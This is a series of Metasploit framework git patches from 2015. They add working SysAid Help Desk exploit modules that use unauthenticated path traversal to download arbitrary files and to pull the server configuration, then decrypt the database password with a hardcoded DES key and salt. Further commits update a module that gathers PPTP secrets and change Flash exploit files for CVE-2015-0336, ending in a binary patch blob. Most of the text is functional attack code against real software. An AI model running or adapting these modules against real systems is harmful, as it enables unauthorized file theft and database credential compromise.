Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)), + 'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) + } + }) + + if res && res.code == 200 + if res.body.to_s =~ /\(.*)\<\/H2\>/ + error_path = $1 + # Error_path is something like: + # /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip + # This calculates how much traversal we need to do to get to the root. + position = error_path.index(large_traversal) + if position != nil + return "../" * (error_path[0,position].count('/') - 2) + end + end + end + end + + + def download_file (download_path) + begin + return send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'), + 'vars_get' => { + 'fileName' => download_path + }, + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + end + + + def run + # No point to continue if filepath is not specified + if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? + print_error("Please supply the path of the file you want to download.") + return + else + print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/ + filepath = $3 + else + filepath = datastore['FILEPATH'] + end + end + + traversal_path = get_traversal_path + if traversal_path == nil + print_error("#{peer} - Could not get traversal path, using bruteforce to download the file") + count = 1 + while count < 15 + res = download_file(("../" * count) + filepath) + if res && res.code == 200 + if res.body.to_s.bytesize != 0 + break + end + end + count += 1 + end + else + res = download_file(traversal_path[0,traversal_path.length - 1] + filepath) + end + + if res && res.code == 200 + if res.body.to_s.bytesize != 0 + vprint_line(res.body.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'sysaid.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_good("File saved in: #{path}") + else + print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.") + end + else + print_error("#{peer} - Failed to download file.") + end + end +end From 6683b86822aae6ab1b64f9154316a73e01992bdd Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:46:48 +0100 Subject: [PATCH 0297/1013] Create sysaid_sql_creds.rb --- .../auxiliary/admin/http/sysaid_sql_creds.rb | 148 ++++++++++++++++++ 1 file changed, 148 insertions(+) create mode 100644 modules/auxiliary/admin/http/sysaid_sql_creds.rb diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb new file mode 100644 index 0000000000..d059b7861f --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "SysAid Help Desk Database Credentials Disclosure", + 'Description' => %q{ + This module exploits a vulnerability in SysAid Help Desk that allows + an unauthenticated user to download arbitrary files from the system. This is + used to download the server configuration file that contains the database username + and password, which is encrypted with a fixed key. + This module has been tested with SysAid 14.4 on Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2015-2996' ], + [ 'CVE', 'CVE-2015-2998' ], + [ 'OSVDB', 'TODO' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'TODO_FULLDISC_URL' ] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + ], self.class) + end + + + def decrypt_password (ciphertext) + salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*') + cipher = OpenSSL::Cipher::Cipher.new("DES") + base_64_code = Rex::Text.decode_base64(ciphertext) + cipher.decrypt + cipher.pkcs5_keyivgen 'inigomontoya', salt, 19 + + plaintext = cipher.update base_64_code + plaintext << cipher.final + plaintext + end + + + def run + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'), + 'vars_get' => { + 'fileName' => '../conf/serverConf.xml' + }, + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + + if res && res.code == 200 && res.body.to_s.bytesize != 0 + username = /\(.*)\<\/dbUser\>/.match(res.body.to_s) + encrypted_password = /\(.*)\<\/dbPassword\>/.match(res.body.to_s) + database_url = /\(.*)\<\/dbUrl\>/.match(res.body.to_s) + database_type = /\(.*)\<\/dbType\>/.match(res.body.to_s) + + if username && encrypted_password && database_type && database_url + username = username.captures[0] + encrypted_password = encrypted_password.captures[0] + database_url = database_url.captures[0] + database_type = database_type.captures[0] + password = decrypt_password(encrypted_password[6..encrypted_password.length]) + credential_core = report_credential_core({ + password: password, + username: username + }) + + matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url) + if matches + begin + if database_url['localhost'] == 'localhost' + db_address = rhost + else + db_address = matches.captures[2] + db_address = (db_address.index(':') ? db_address[0, db_address.index(':')] : db_address) + db_address = Rex::Socket.getaddress(db_address, true) + end + database_login_data = { + address: db_address, + service_name: database_type, + protocol: 'tcp', + workspace_id: myworkspace_id, + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + create_credential_login(database_login_data) + # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname + rescue SocketError + print_error "Could not resolve database server hostname." + end + + print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}") + return + end + end + print_error("#{peer} - Failed to obtain database credentials, response was:") + print_line(res.body.to_s) + else + print_error("#{peer} - Failed to obtain database credentials.") + end + end + + + def report_credential_core(cred_opts={}) + origin_service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: cred_opts[:password], + username: cred_opts[:username] + } + + credential_data.merge!(origin_service_data) + create_credential(credential_data) + end +end From 42e84cd7d59c14649c01c3932ddf2713f9487998 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:59:04 +0100 Subject: [PATCH 0298/1013] Update sysaid_admin_acct.rb --- modules/auxiliary/admin/http/sysaid_admin_acct.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb index 08e764db8e..46958e7276 100644 --- a/modules/auxiliary/admin/http/sysaid_admin_acct.rb +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2015-2993' ], + [ 'CVE', '2015-2993' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'TODO_FULLDISC_URL' ] From 54bfe2952718a1b38a65324feba1c0937c569ec4 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:59:45 +0100 Subject: [PATCH 0299/1013] Update and rename sysaid_file_ to sysaid_file_download.rb --- .../admin/http/{sysaid_file_ => sysaid_file_download.rb} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename modules/auxiliary/admin/http/{sysaid_file_ => sysaid_file_download.rb} (97%) diff --git a/modules/auxiliary/admin/http/sysaid_file_ b/modules/auxiliary/admin/http/sysaid_file_download.rb similarity index 97% rename from modules/auxiliary/admin/http/sysaid_file_ rename to modules/auxiliary/admin/http/sysaid_file_download.rb index 38bd0f6af7..b331514831 100644 --- a/modules/auxiliary/admin/http/sysaid_file_ +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,8 +30,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2015-2996' ], - [ 'CVE', 'CVE-2015-2997' ], + [ 'CVE', '2015-2996' ], + [ 'CVE', '2015-2997' ], [ 'OSVDB', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], From 7f35c3b4f513a80b79ec67e10ff4566956cd26e9 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 22:00:08 +0100 Subject: [PATCH 0300/1013] Update sysaid_sql_creds.rb --- modules/auxiliary/admin/http/sysaid_sql_creds.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb index d059b7861f..de1024a397 100644 --- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2015-2996' ], - [ 'CVE', 'CVE-2015-2998' ], + [ 'CVE', '2015-2996' ], + [ 'CVE', '2015-2998' ], [ 'OSVDB', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], From 37827be10f096a19609080a5db08ea45f8e8a71c Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 22:00:44 +0100 Subject: [PATCH 0301/1013] Update sysaid_auth_file_upload.rb --- modules/exploits/multi/http/sysaid_auth_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb index 68be18ebf4..3f8868ba57 100644 --- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2015-2994' ], + [ 'CVE', '2015-2994' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'TODO_FULLDISC_URL' ] From d5b33a00743a4f2ebd78ce3907d26c4584205845 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 22:01:13 +0100 Subject: [PATCH 0302/1013] Update sysaid_rdslogs_fle_upload.rb --- modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb index 752e9ec7fd..ce3fa0d722 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2015-2995' ], + [ 'CVE', '2015-2995' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'FULLDISC_URL' ] From 39d38f1641acbd4720dbf2746554782a634f663c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 3 Jun 2015 16:33:10 -0500 Subject: [PATCH 0303/1013] Update pptpd_chap_secrets to use the new cred API --- .../post/linux/gather/pptpd_chap_secrets.rb | 45 +++++++++++++++---- 1 file changed, 36 insertions(+), 9 deletions(-) diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 04ef8c1a3d..cbdbfb31dd 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -53,6 +53,34 @@ class Metasploit3 < Msf::Post end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + session_id: session_db_id, + origin_type: :session, + private_data: opts[:password], + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + + # # Extracts client, server, secret, and IP addresses # @@ -77,15 +105,14 @@ class Metasploit3 < Msf::Post secret = (found[2] || '').strip ip = (found[3,found.length] * ", " || '').strip - report_auth_info({ - :host => session.session_host, - :port => 1723, #PPTP port - :sname => 'pptp', - :user => client, - :pass => secret, - :type => 'password', - :active => true - }) + report_cred( + ip: session.session_host, + port: 1723, # PPTP port + service_name: 'pptp', + user: client, + password: secret, + + ) tbl << [client, server, secret, ip] end From 74117a7a5220efb4cfaa14221c1531cd53c75545 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 3 Jun 2015 16:33:41 -0500 Subject: [PATCH 0304/1013] Allow to execute payload from the flash renderer --- data/exploits/CVE-2015-0336/msf.swf | Bin 20599 -> 20776 bytes data/exploits/CVE-2015-0336/trigger.swf | Bin 340 -> 339 bytes .../source/exploits/CVE-2015-0336/Exploit.as | 19 ++-- .../CVE-2015-0336/ExploitByteArray.as | 9 +- .../exploits/CVE-2015-0336/Exploiter.as | 105 +++++++++++++++--- external/source/exploits/CVE-2015-0336/PE.as | 15 ++- .../CVE-2015-0336/Trigger/src/Main.as | 2 +- .../adobe_flash_net_connection_confusion.rb | 20 ++-- 8 files changed, 128 insertions(+), 42 deletions(-) diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf index c014a3ef20856c4d1e2997a15ca1c484c113160c..f8492e42e8860d9a9da45cb2b6712a3a493fb098 100644 GIT binary patch delta 20657 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 